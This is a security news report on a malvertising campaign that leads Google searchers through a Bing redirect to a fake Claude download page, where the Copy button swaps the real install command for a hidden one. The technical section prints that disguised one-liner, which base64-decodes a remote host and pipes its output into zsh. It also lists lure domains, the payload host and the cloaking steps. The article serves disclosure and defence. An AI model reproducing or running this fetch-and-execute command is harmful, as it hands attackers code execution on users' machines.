A Google ad listing bing.com led to a fake Claude download page whose Copy button pasted a hidden base64 URL piped to zsh, not the install command shown.
What happened
Mac users who search Google for Claude can land on a fake download page that swaps the install command they copy. Push Security reports a malvertising chain in which a Google Search ad for "claude mac" listed bing.com as its domain. Clicking it passed the visitor through a Bing search-result redirect and a compromised WordPress retail site before landing on a convincing fake Claude download page. The page showed Anthropic's real install command, but its Copy button put a different one on the clipboard. Push calls the redirect-and-cloaking trick "Adception" (its own informal name). It says it detected the attack in a customer environment and published the analysis on 9 October 2026.
Developers are the most exposed, but Push notes that terminal one-liners like Claude Code's install command are now run by "non-technical users" too. BleepingComputer independently reported the same chain on 9 October 2026.
Why it matters
Google's ad review approved a destination that was simply another search engine, so the listed domain looked harmless. The payload only appeared at the end of one specific path. Push says it found no earlier public reporting of a search result used as the destination of a search ad. It also says 4 in 5 ClickFix attacks it detects (a group that includes InstallFix and LLMshare variants) reach victims through search engines, so the entry point is a routine search.
Technical details
The chain. Google's ad click goes through google.com/aclk, then bing.com/ck/a. That is the redirect Bing puts behind every result on its own search pages. The destination is base64-encoded in the u parameter after an a1 prefix. Bing forwards the visitor with a short JavaScript page, not an HTTP redirect, so the request shows a 200 rather than a 302 and the next hop arrives with a bing.com referrer. The attacker took a legitimate Bing result for a page they had compromised and used that link in the ad. A timestamp inside the link decodes to 5 October 2026, which Push says is probably when Bing generated it.
Two cloaking layers. The compromised site does a server-side 302 that needs a Bing referrer and certain browser headers. The fake Claude site then runs JavaScript that reads document.referrer; anything that does not contain Google or Bing is sent to /404.html, so opening the URL directly shows a 404. Push found that visiting the compromised site from Bing also serves the malicious page. It thinks that is unintended and that Google Search users are the real target.
The clipboard swap. The fake page offers "Download for macOS" and a one-line terminal install. It displays Anthropic's real command, which matches the Claude Code setup page:
curl -fsSL https://claude.ai/install.sh | bash
The Copy button places something else on the clipboard. Push's defanged copy of it:
echo "Downloading Claude: hxxps://claude[.]ai/install.sh" && curl -s $(echo "<base64 string>" | openssl base64 -d -A) | zsh
When pasted, the command prints the genuine-looking claude.ai URL, decodes the hidden address (a lake-90[.]com host) and pipes whatever it returns into zsh. Push says the downloaded .dat file "is piped straight into zsh without being saved to disk". Someone who reads the page and then watches the terminal sees a legitimate Claude URL both times. Push links the domains to a ClickFix toolkit it tracks as AcSig, named for headers that must be sent with an HMAC to fetch the command. All the domains used the same macOS command, payload URL shape and install modal code.
Indicators (defanged, as published by Push). Push notes that short-lived indicators have limited value because sites are rotated quickly.
| Type | Value |
|---|---|
| Lure domains | claude-desk-code[.]com, cli-desktop[.]com, rapid-craft567[.]com, fine-byte2[.]com, fairpoint29[.]com, turbowave45[.]com, too.clawddddd[.]com, ksmgakajgpsals.pages[.]dev |
| Payload host | lake-90[.]com |
| Google campaign id | gad_campaignid=24303361122 |
The compromised retail site is not named here.
What defenders should do
- Install Claude Code only from Anthropic's setup page at code.claude.com. The documented commands are
curl -fsSL https://claude.ai/install.sh | bash(macOS, Linux, WSL),irm https://claude.ai/install.ps1 | iex(PowerShell),brew install --cask claude-codeandwinget install Anthropic.ClaudeCode. The desktop app comes from claude.ai or claude.com/download. - Type or bookmark the vendor address rather than following a sponsored result, and treat an ad whose domain is a search engine as a red flag.
- Never paste a command you did not read after copying it. Check the pasted text for
base64,openssl base64 -dand| zshor| shbefore pressing Enter. - If someone ran such a command, treat the machine as compromised: isolate it, rotate credentials and tokens used on it, and review recent shell and network activity for the payload host above.
- Because the script is piped straight into zsh, there is no file on disk to scan. Our inference: check
~/.zsh_historyforopenssl base64 -dfollowed by| zsh, and check proxy logs for the payload host. - Push's own advice is to inspect the whole browser session from first click to payload, because redirects in front of the page do not change the outcome, and to detect the malicious clipboard copy event regardless of the delivery page. Push is a vendor of this detection. It also says indicator-only blocking is of limited value.
- Block or alert on the indicators above as a stopgap, and hunt for the campaign id in proxy logs.
What is still unclear
- What the script served from the payload host does. Push's post does not describe it. BleepingComputer says the final payload "remains unknown, so it [is] unclear what malware, if any, is being installed". We do not claim an infostealer or any other behaviour.
- Whether Google, Microsoft or Anthropic have removed the ad, the Bing link or the lure domains. Neither Push's post nor BleepingComputer's report records a statement from any of them, and we found none.
- How many people clicked or ran the command. Push reports one detection in a customer environment and no totals.
Not the first fake-Claude campaign
This is a separate campaign from one reported in July. On 22 July 2026 Huntress described "FakeAgent": Bing ads led to a malicious Claude Artifact, then a Windows ClaudeDesktop.exe that delivered SectopRAT, and Huntress said at least 29 organizations were hit on 21–22 July (BleepingComputer, 23 July). Nothing published links the two, and we do not suggest the Adception payload is SectopRAT. Push also says the same InstallFix pattern imitates install pages for tools such as Claude Code and Codex.
Related ThreatFrontier coverage
Our 7 October story, Fake ChatGPT, Gemini, Claude and Muse ad portals use a fake browser window to steal ad-account logins, covers a different technique (fake browser windows to steal logins).
For other attacks aimed at developer machines, see Talos maps the full attack lifecycle of malicious Python packages. For why AI-account credentials are worth stealing, see Stolen ChatGPT logins at 358 of 482 big companies, which is context rather than a link to this payload.
Sources
- Push Security: Adception, malvertising another search engine's search results
- BleepingComputer: Hackers abuse Google Ads, Bing redirects to push Claude ClickFix attacks (9 Oct 2026)
- Push Security: Analyzing the latest AI-themed malware delivery attacks
- Huntress: Inside FakeAgent (22 Jul 2026)
- Anthropic: Claude Code advanced setup